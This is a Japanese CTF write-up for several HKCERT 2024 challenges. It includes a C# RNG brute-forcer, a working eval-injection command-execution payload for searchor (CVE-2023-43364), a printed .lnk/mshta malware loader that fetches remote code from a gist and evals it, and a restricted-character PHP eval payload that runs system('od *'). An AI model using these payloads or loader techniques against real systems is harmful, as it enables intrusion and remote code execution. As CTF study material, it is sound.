void GameBehaviour$$Roll(longlong param_1,longlong param_2,char param_3) { undefined8 uVar1; code *pcVar2; longlong lVar3; undefined8 uVar4; float fVar5; longlong *local_res10; if (DAT_180ce4720 == '\0') { // … } fVar5 = (float)UnityEngine.Random$$get_value(0); fVar5 = fVar5 * 201.0; if (fVar5 < 54.0) { if (fVar5 < 33.0) { if (fVar5 < 12.0) { uVar4 = StringLiteral_1157; // INFJ if (3.0 <= fVar5) { uVar4 = StringLiteral_1159; // INFP } } else { uVar4 = StringLiteral_513; // ENFP if (28.0 <= fVar5) { uVar4 = StringLiteral_511; // ENFJ } } } else if (fVar5 < 44.0) { uVar4 = StringLiteral_1165; // INTJ if (37.0 <= fVar5) { uVar4 = StringLiteral_1167; // INTP } } else { uVar4 = StringLiteral_517; // ENTP if (50.0 <= fVar5) { uVar4 = StringLiteral_515; // ENTJ } } } else if (fVar5 < 147.0) { if (fVar5 < 105.0) { uVar4 = StringLiteral_1213; // ISTJ if (77.0 <= fVar5) { uVar4 = StringLiteral_1169; // ISFJ } } else { uVar4 = StringLiteral_535; // ESTJ if (122.0 <= fVar5) { uVar4 = StringLiteral_525; // ESFJ } } } else if (fVar5 < 176.0) { uVar4 = StringLiteral_1217; // ISTP if (158.0 <= fVar5) { uVar4 = StringLiteral_1173; // ISFP } } else { uVar4 = StringLiteral_537; // ESTP if (184.0 <= fVar5) { uVar4 = StringLiteral_531; // ESFP } }
同じ名前ならば同じMBTIの組み合わせが返ってくるようになっていたが、これはどのように実現されているか。GameBehaviour.OnClick
に以下のような処理があった。名前を小文字化した上で数値へ変換し、UnityEngine.Random.InitState
へシードとして渡している。
lVar7 = System.String$$ToLower(lVar1,0); uVar15 = uVar13; uVar14 = uVar13; if (lVar7 != 0) { for (; (int)uVar14 < *(int *)(lVar7 + 0x10); uVar14 = uVar14 + 1) { lVar2 = *(longlong *)(param_1 + 0x30); param_3 = (longlong *)0x0; System.String$$get_Chars(lVar7,uVar14); if (lVar2 == 0) goto LAB_1801f0866; param_3 = (longlong *)0x0; iVar6 = System.String$$IndexOf(lVar2); uVar15 = uVar15 * 0x24 + iVar6; } UnityEngine.Random$$InitState(uVar15,0);
これでおおよそアルゴリズムが把握できた。ブルートフォースで目的のMBTIの組み合わせが返ってくるような名前を見つけよう。Unityで新しくプロジェクトを作成し、以下のC#コードを適当なゲームオブジェクトにアタッチする。
using System; using UnityEngine; public class NewMonoBehaviourScript : MonoBehaviour { // Start is called once before the first execution of Update after the MonoBehaviour is created void Start() { string[] targets = { "ESFP ISTP ESFJ ISFJ ESTJ ISTP ESTP ENFP ENTJ ESTJ ISTP ISTJ", "ISFJ ESTP ESTJ INTJ ISTP ISFJ ESFJ ISFJ ISTJ INTP ENFP ISTP", "ISTJ ESFJ ISFJ INTJ ESFJ ISFP ISFJ ESFJ ESFP ISFP ESTJ ISFP", "INFP ESFJ ISFJ ENFP ESFJ ISFP INFP ENTJ ESFP ESTP ESFP ESFP", "ESFJ ISFP ESFJ ISFJ ISTJ ENFJ ESTJ ESTJ ISFP ISFP ESFJ ENTP", "ESFJ ESFJ INFP ESFJ ESFP ISFJ ESTJ ESFJ ESTJ ISFJ ISFP ISFJ" }; string charList = "0123456789abcdefghijklmnopqrstuvwxyz"; foreach (var a in charList) { foreach (var b in charList) { foreach (var c in charList) { foreach (var d in charList) { foreach (var e in charList) { var s = new string(new char[] { a, b, c, d, e }); if (Go(s) == targets[4]) { Debug.Log($"found: {s}"); return; } } } } } } } // Update is called once per frame void Update() { } string Go(string s) { UnityEngine.Random.InitState(HashName(s)); var mbtis = new string[12]; for (int i = 0; i < 12; i++) { mbtis[i] = Roll(); } return string.Join(" ", mbtis); } int HashName(string s) { var uVar7 = 0; var charList = "0123456789abcdefghijklmnopqrstuvwxyz"; for (var i = 0; i < s.Length; i++) { var iVar4 = charList.IndexOf(s[i]); uVar7 = iVar4 + uVar7 * 0x24; } return uVar7; } string Roll() { string uVar4; double fVar5 = UnityEngine.Random.value * 201.0; if (fVar5 < 54.0) { if (fVar5 < 33.0) { if (fVar5 < 12.0) { uVar4 = "INFJ"; if (3.0 <= fVar5) { uVar4 = "INFP"; } } else { uVar4 = "ENFP"; if (28.0 <= fVar5) { uVar4 = "ENFJ"; } } } else if (fVar5 < 44.0) { uVar4 = "INTJ"; if (37.0 <= fVar5) { uVar4 = "INTP"; } } else { uVar4 = "ENTP"; if (50.0 <= fVar5) { uVar4 = "ENTJ"; } } } else if (fVar5 < 147.0) { if (fVar5 < 105.0) { uVar4 = "ISTJ"; if (77.0 <= fVar5) { uVar4 = "ISFJ"; } } else { uVar4 = "ESTJ"; if (122.0 <= fVar5) { uVar4 = "ESFJ"; } } } else if (fVar5 < 176.0) { uVar4 = "ISTP"; if (158.0 <= fVar5) { uVar4 = "ISFP"; } } else { uVar4 = "ESTP"; if (184.0 <= fVar5) { uVar4 = "ESFP"; } } return uVar4; } }
実行すると、無事に以下のように5段階目の名前は und3r
であることがわかった。
これを繰り返すとフラグが得られた。
hkcert24{1_4m_on3_5t4r_und3r_c4e1um}
Cpp2Ilを使えばもうちょっと楽に解析できたっぽい。
[Misc 100] B6ACP (97 solves)
Let's embark your cybersecurity journey by becoming a BlackB6a Certified Professional!
Flag at the home folder of the user.
Note: There is a step-by-step guide to the challenge.
(問題サーバのURL)
色々な検索エンジンで検索できるWebアプリが与えられる。
Server
ヘッダからでは searchor/2.4.1
と設定されており、searchorというライブラリが使われているとわかる。バージョンとあわせて検索すると、CVE-2023-43364が見つかる。
どうやら検索エンジン名等を使って eval
していたらしい。わあ。試しに AliExpress and 7*7 #
を投げてみると、次のようにそれを eval
した結果の 49
が返ってきた。
$ curl 'https://(省略)/' -H 'content-type: application/x-www-form-urlencoded' --data-raw 'e=AliExpress%20and%207*7%23&q=a' … <script> window.open('49', '_blank').focus(); </script> …
あとはやるだけだ。OSコマンドの実行に持ち込んでファイルを探すと、/home/hkcertuser/local.txt
にフラグが見つかった。
$ curl 'https://(省略)/' -H 'content-type: application/x-www-form-urlencoded' --data-raw 'e=AliExpress%20and%20__import__("os").system("cat ../home/hkcertuser/local.txt")%23&q=a' … <script> window.open('hkcert24{pay_blackb6a_10BTC_t0_activate_y0ur_b6acp+_n0w!} 0', '_blank').focus(); </script> …
hkcert24{pay_blackb6a_10BTC_t0_activate_y0ur_b6acp+_n0w!}
[Misc 200] My Lovely Cats (62 solves)
From: Walsh Philip
<Walsh.philip@example.com>
Subject: My Lovely Cats
Date: 4 November, 2024Dear my lovely friend,
Hey there! 🐾 I've put together my absolute favorite cat compilation just for you—handpicked from thousands of adorable cat pics! 😻 And guess what? There's a special flag hidden in the mov file, toooo! 🚩 The kind of flag everyone’s been after! Open it now and claim your flag—don’t wait! 🚀🎯
Yours Truly,
Walsh Philip
添付ファイル: mylovelycats_ffa936aa961da4830f6774ec010aca0e.zip
与えられたZIPを展開すると、次のようなファイルが出てくる。一方のファイルは DCIM_0017.mov.lnk
ということでショートカットファイルだ。
雑に strings
に投げると、次のように mshta
でヤバそうなJSを実行している様子がわかる。大した難読化はされておらず、自身の2500バイト目以降を実行している様子がわかる。
$ strings -el DCIM_0017.mov.lnk WINDOWS system32 MshtA.exe ,..\..\..\..\..\..\WINDOWS\system32\MshtA.exe "jAvascrIpt:;try{d=document;d.write('');o=this['\x41ctive\x58O\x62ject'];x=new o('Scri\x50ting.Fil\x45Syst\x45mObj\x45ct');t=x.GetFile('DCIM_0017.mov.lnk').OpenAsTextStream(1,false);t.Skip(2500);d.write(t.Read(1e6))}catch(e){}//"!%SystemRoot%\System32\Shell32.dll %SystemRoot%\ \..\system32\\..\\MshtA S-0-0-00-0000000000-0000000000-0000000000-0000
これを元に抽出した主要な処理は次の通り。読みづらいねえ。
N="substr";P=(''+''.constructor)[N](10,6);I=(''+{})[N](8,6);W="reverse";Z="split";Y="join";Q="X";S=this;U=S['Active'+Q+I];str=new String(); function atob(b) { var enc = new U("System.Text.UTF8Encoding"); return enc["Get"+P](new U("System.Security.Cryptography.FromBase64Transform")["TransformFinalBlock"](enc["GetBytes_4"](b), 0, enc["GetByteCount_2"](b))); } function sha256(b) { var enc = new U("System.Text.UTF8Encoding"); var res = ""; for (var i = 0; i < 32; i += 3) res += enc["Get"+P]( new U("System.Security.Cryptography.ToBase64Transform")["TransformFinalBlock"]( new U("System.Security.Cryptography.SHA256Managed")["ComputeHash_2"](enc["GetBytes_4"](b)), i, Math.min(3, 32 - i))); return res; } function main() {return S["lave"[Z](str)[W](1024)[Y](str)](atob("K0gCNoQD7kyco0VKyR3co0VWblCNyATMo01Vblic0NHKdp1WiUmdhxmIbNFIpISPv9SVzQTQvRmeCZ3Zzx2N4VGMSJFTxBncvk1bzZzKFVFOyZ2NxUXRzkFbnJCI90TPgkycoYTNyEGazhCImlGI7UWdsFmVkVGc5RVZk9mbukCMo0WZ0lmLpcycv8yJoMXZk9mT0NWZsV2cu02bkBSPgMHI7kyJ0hHduETZslmZ0NXan9CZ3MmY1QWNmdDZidTO5UGNjVWZ3gDO2YzYjNWZ5YjMyETYhNmNhRWYvcXYy9SYmRjNldTNwM2YlVjY1kjN5UTOwYDMmFGOyU2MzkTZh9yYwsmbhlnbv02bj5CduVGdu92YyV2c1JWdoRXan5Cdzl2Zv8iOzBHd0h2JoQWYvxmLt9GZgsTZzxWYmBSPgMmb5NXYu02bkByOpISTPRETNJCIrASUgsCIi4Cdm92cvJ3Yp1kIoUFI3Vmbg0DIt9GZ"[Z](str)[W](1024)[Y](str)))} try { main(); window.close(); } catch (e) {}
"lave"[Z](str)[W](1024)[Y](str)
が eval
になることに気をつけつつ、部分的にコードを実行して main
の処理を読み解いていく。すると、次のようなコードが eval
されていることわかった。
dom = new U("Microsoft." + Q + "MLDOM"); dom.async = false; dom.load('https://gist.githubusercontent.com/nyank0c/ae933e28af060959695b5ecc057e64fa/raw/ada6caa12269eccc66887eec4e997bd7f5d5bc7d/gistfile1.txt'); s = dom.selectNodes('//s').item(0).nodeTypedValue; if (sha256(s) === "glY3Eu17fr8UE+6soY/rpqLRR0ex7lsgvBzdoA43U/o=") S["lave"[Z](str)[W](1024)[Y](str)](s);
出てきたGistのコード中にフラグが含まれていた。
hkcert24{mEow-meOw-me0W-ma1ware}
[Misc 255] Tuning Keyboard 5 (5 solves)
🫵(^v^)jm9.....?
添付ファイル: tuning-keyboard-5_0a98633513cf54dd1144131d6eec2f73.zip
与えられたファイルを展開すると、HTMLが出てくる。これを開くと次のような怪文書が出てきた。なんだこれは。
一応フォームになっているのだけれども、送信先はバカテスの音MADで特に意味はなさそう。
この問題は続き物で、5.5という問題サーバも用意されているバージョンがある。こちらも似たようなものだ。
ただ、フォームの送信先が違う。これを送信すると 5.5
と表示された。どういうことかと何文字か削って送信すると 5
と表示される。木木木木
を送信すると 5555
と表示される。うーん。水
だけだと syntax error, unexpected '.', expecting ';'
とPHPのエラーが表示された。
もしかして、これらのテキストに含まれる漢字の一部が 5
や .
といった文字に置換され、PHPのコードとして eval
されているのではないか。5.5のテキストに含まれるものでは 木
と 水
しか置換の対象でなく、それ以外は無いものとして扱われていそうだ。
この2つの漢字の関連性は我々にとっては明らかだ。最終的に 木
が 5
、火
が (
、土
が )
、金
が ^
、水
が .
と対応していることがわかった。5のテキストをこれらの記号に置換するスクリプトを用意する。
import re with open('tuning-keyboard-5_0a98633513cf54dd1144131d6eec2f73/flag.html', 'rb') as f: s = f.read().decode('utf-8') s = ''.join(re.findall(r'[火水木金土]', s)) s = s.translate(str.maketrans({ '火': '(', '水': '.', '木': '5', '金': '^', '土': ')', })) print(s)
これを eval
するとフラグが得られた。
$ (echo '<?php '; python3 s.py; echo ';') > a.php; php a.php hkcert24{vvH@CKKX.c5fe25896e49ddfe996db7508cf00534|}
hkcert24{vvH@CKKX.c5fe25896e49ddfe996db7508cf00534|}
[Misc 444] Tuning Keyboard 5.5 (3 solves)
🫵(^v^)jm9.....?
Tuning Keyboard 5の続きだ。何も入力せずに問題サーバで送信すると、次のようにPHPコードが表示された。なるほど、8800文字以下でなければならないという制約で、flag.php
を手に入れる必要があるらしい。そんなことできるだろうか。
<?php require("flag.php");(mb_strlen($v=$_POST["v"])<=(55*5)<<5&&$x=v($v))?print_r(eval("return $x;")):header("Location: flag.html")||show_source(__FILE__);
5
の代わりに 9
が使われているけれども、ほとんど似たようなことを成し遂げているphpf*ckというプロジェクトがある。この一部を置き換えればよいのではないかと考える。
phpf*ckはまず、次のように数値を作って、さらにそれを切り取って数字を作っている。ただ、これが 9
でなく 5
だとなかなか短いパターンが見つからない。
# … p['INF9'] = '('+'9'*309+').(9)' p[9] = '9' p[0] = '9^9' p['99'] = '(9).(9)' # (9).(9) == '99' //concatenates '9' and '9' p[106] = '9^99' # … p[3] = gen_xor(p[51], p['48']) # 51 ^ '48' === 3 //'48' gets cast to 48 p['00'] = gen_concat(p[0], p[0]) p['080'] = gen_concat(p[0], p['80']) p['01'] = gen_xor(p['00'], p['080'], p['09']) # '00' ^ '080' ^ '09' === '01' p[1] = gen_xor(p['01'], p[0]) # '01' ^ 0 === 1 //'01' gets cast to 1 p[2] = gen_xor(p['01'], p[3]) p[8] = gen_xor(p['01'], p[9]) # …
ちょっと悩んで、Tuning Keyboard 5のコードを解析し、短いパターンをパクればよいのではないかと考える。結果として、次のような変換テーブルができあがった。
# … p['INF5'] = '('+'5'*309+').(5)' p[5] = '5' p['55'] = '(5).(5)' p[0] = '5^5' p[3] = '(5^5).(5555^555)^(5).(5)^(5).(5)^5' p[1] = '(555^55).(5)^(5).(5)^(5).(5)^55' p[6] = gen_xor(p[5], p[3]) p[4] = '(555^55).(5)^(5).(5)^(5).(5)^55^5' p[2] = '((55555^55).(5)^(55).(5)^(55).(5)^555^5)' p[7] = '(55555^55).(5)^(55).(5)^(55).(5)^555' # … p['rt'] = '((555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555).(5)^(5).(5)^((55).(.5)^555^5).((55).(.5)^555^5)^((5^5).(5555^555)^(5).(5)^(5).(5)^.5).((55555^55).(5)^(55).(5)^(55).(5)^555))' # … p['CHr'] = '(((555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555).(5)^((55).(.5)^555^5).(5)^((55555^55).(5)^(55).(5)^(55).(5)^555^5).((5^5).(5555^555)^(5).(5)^(5).(5)^5)).((555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555).(5)^((55).(.5)^555^5).(5)^((5^5).(5555^555)^(5).(5)^(5).(5)^.5).(5)^(((555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555).(5)^(5).(5)^((55).(.5)^555^5).((55).(.5)^555^5)^(5^5).((555^55).(5)^(5).(5)^(5).(5)^55)).((555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555).(5)^(5).(5)^(5).((5^5).(5555^555)^(5).(5)^(5).(5)^.5)))(5)))' # …
さらに縮めるべく、なるべく短いコマンドで flag.php
の内容を得られるよう、od *
を実行するコードを生成する。
ex = gen_str_caseinsensitive('system') PAYLOAD = 'od *' evald_function = gen_funccall(ex, gen_str(PAYLOAD)) with open('a.php', 'w') as f: f.write('<?php ' + evald_function + ';') p = evald_function.translate(str.maketrans({ '(': '火', '.': '水', '5': '木', '^': '金', ')': '土', })) import httpx r = httpx.post('https://(省略)/', data={ 'v': p }) print(r.text)
これで無事にカレントディレクトリのすべてのファイルについてその内容が得られた。この中で、コメントとして次のようにフラグが含まれていた。
// … "𬫨" => "((^", "𭪳" => ".55", "𮢅" => "^55" //Flag //"旗" => "hkcert24{55555...IdontThikUcant3v4lThis...:index_pointing_at_the_viewer:(^v^)jm9.....?}" // …
hkcert24{55555...IdontThikUcant3v4lThis...:index_pointing_at_the_viewer:(^v^)jm9.....?}